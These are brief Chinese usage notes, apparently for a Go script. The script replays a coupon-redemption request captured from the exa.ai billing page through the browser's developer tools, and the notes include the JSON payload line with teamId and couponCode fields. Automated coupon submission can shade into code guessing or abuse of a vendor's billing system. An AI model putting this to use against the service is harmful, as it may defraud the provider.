开着浏览器F12
去 https://dashboard.exa.ai/billing 手动兑换一下
右边找到提交兑换码的那个请求
右键复制 → curl(cmd格式)
新建curl.txt
放到main.go同目录下
运行go run .
即可

这里可能有bug，我找不到能用的兑换码抓不到请求了

我使用{teamId}替换了我原本的id，避免泄露或者不能用，你们自己看看了

payload := fmt.Sprintf(`{"teamId":"{teamId}","couponCode":"%s","description":"%s"}`, couponCode, description)
